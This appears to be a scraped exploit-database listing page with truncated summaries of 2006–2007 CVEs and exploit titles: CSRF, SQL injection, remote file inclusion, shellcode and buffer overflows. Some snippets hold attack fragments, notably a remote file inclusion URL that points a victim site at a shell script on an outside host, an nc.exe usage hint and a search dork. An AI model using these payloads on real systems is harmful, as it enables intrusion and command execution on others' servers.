Cross site request forgery (csrf)

Cross-site request forgery CSRF vulnerability in Check Point SofaWare Safe@Office, with firmware before Embedded NGX 7.0.45 GA, allows remote attackers to execute commands as arbitrary users, and disable firewalling of the protected network...

CVE-2007-3255

Multiple cross-site request forgery CSRF vulnerabilities in Xythos Enterprise Document Manager XEDM before 5.0.25.8, and 6.x before 6.0.46.1, allow remote authenticated users to execute commands as arbitrary users via 1 a saved Workflow name or 2 the Content-Type HTTP header. NOTE: item 2 also...

CVE-2007-3462

Cross-site request forgery CSRF vulnerability in Check Point SofaWare Safe@Office, with firmware before Embedded NGX 7.0.45 GA, allows remote attackers to execute commands as arbitrary users, and disable firewalling of the protected network...

Design/Logic Flaw

BES before 3.5.0 in OPeNDAP 4 Hydrax before 1.2.1 does not properly handle compressed files, which allows remote attackers to upload arbitrary files or execute arbitrary commands via a crafted compressed file...

CVE-2007-2769

BES before 3.5.0 in OPeNDAP 4 Hydrax before 1.2.1 does not properly handle compressed files, which allows remote attackers to upload arbitrary files or execute arbitrary commands via a crafted compressed file...

Rational Software Hidden Administrator 1.7 - Authentication Bypass

Rational Software Hidden Administrator 1.7 - Authentication Bypass Hidden Administrator Authenticaiton Bypass Exploit ahmedatrewterz.com https://www.securityfocus.com/bid/24049 C:\python rewt-ha-exp.py Usage: rewt-ha-exp.py -h -p -t make sure nc.exe exists on tftpd server C:\telnet 192.168.1.4 44...

linux/x86 raw-socket ICMP/checksum shell 235 byte

Exploit for linux/x86 platform in category shellcode ================================================= linux/x86 raw-socket ICMP/checksum shell 235 byte ================================================= ; ; Copyright c 2007 by ; ; 235-byte raw-socket ICMP/checksum shell - x86-lnx ; by mu-b - Nov...

CVE-2007-1641

SQL injection vulnerability in index.php in PortailPHP 2.0 allows remote attackers to execute arbitrary SQL commands via the idnews parameter...

Php-Stats <= 0.1.9.1b (php-stats-options.php) admin 2 exec() eExploit

No description provided by source. ?php printr' --------------------------------------------------------------------------- Php-Stats = 0.1.9.1b admin 2 exec exploit by rgod mail: retrog at alice dot it site: http://retrogod.altervista.org dork example: inurl:php-stats.js.php...

CVE-2006-6330

index.php for TorrentFlux 2.2 allows remote registered users to execute arbitrary commands via shell metacharacters in the kill parameter...

XMPlay 3.3.0.4 (M3U Filename) Local Buffer Overflow Exploit

Exploit for unknown platform in category local exploits =========================================================== XMPlay 3.3.0.4 M3U Filename Local Buffer Overflow Exploit =========================================================== /...

PT-2006-6426 · Punbb · Punbb

Name of the Vulnerable Software and Affected Versions: PunBB versions prior to 1.2.14 Description: The issue allows remote authenticated administrators to execute arbitrary SQL commands. Recommendations: For versions prior to 1.2.14, update to version 1.2.14 or later to resolve the issue...

PHPLibrary-1.5.3-2.txt

created by Anaconda Exploit : http://victim.com/PHPLibrary-1.5.3/Description.php?cfgdir=http://www.arab4services.com/c-h.v2.txt?cmd include $libdir . "sqlstorage.class.php"; arab4services.com security team...

HP OpenView OmniBack II Generic Remote Exploit

No description provided by source. / HP OpenView OmniBack II generic remote Exploit by DiGiT - [email protected] Omniback is a network backup system by HP, widely used. took me some time to figure out how omniback communicated then it was just a matter of finding a bug. This lovely little exploit wi...

agenda.txt

Agenda - Remote File Include ------------------------------------------------------------------------------------ Description: A complete calendar solution with component and module part for mambo cms. The issue is at the calendar module. Bug Found by: jank0 greetz: hackbsd crew risk: dangerous...

CVE-2006-4081

previewemail.cgi in Barracuda Spam Firewall BSF 3.3.01.001 through 3.3.03.053 allows remote attackers to execute commands via shell metacharacters "|" pipe symbol in the file parameter. NOTE: the attack can be extended to arbitrary commands by the presence of CVE-2006-4000...

Joomla! Component JD-Wiki 1.0.2 - Remote File Inclusion

Joomla! Component JD-Wiki 1.0.2 - Remote File Inclusion JD-Wiki Remote File Include ------------------------------------------------------------------------------------ JD-Wiki is the Joomla! integration of the nice DokuWiki. DokuWiki is a standards compliant, simple to use Wiki, mainly aimed at...

Mambo Colophon Component <= 1.2 Remote Inclusion Vulnerability

No description provided by source. Command Mambo Colophon =1.2 by Drago84 Found By Drago84 Exclusive Security Italian Security This bug allows a remote atacker to execute commands via rfi page: admin.colophon.php bug:...

Mam-Moodle Mambo Component alpha Remote Inclusion Vulnerability

No description provided by source. Mam - Moodle Remote File Include ------------------------------------------------------------------------------------ Bug Found by: jank0 greetz: hackbsd crew risk: dangerous this bug allows a remote atacker to execute commands via rfi path:...

CVE-2006-3697

Agnitum Outpost Firewall Pro 3.51.759.6511 462, as used in 1 Lavasoft Personal Firewall 1.0.543.5722 433 and 2 Novell BorderManager Novell Client Firewall 2.0, does not properly restrict user activities in application windows that run in a LocalSystem context, which allows local users to gain...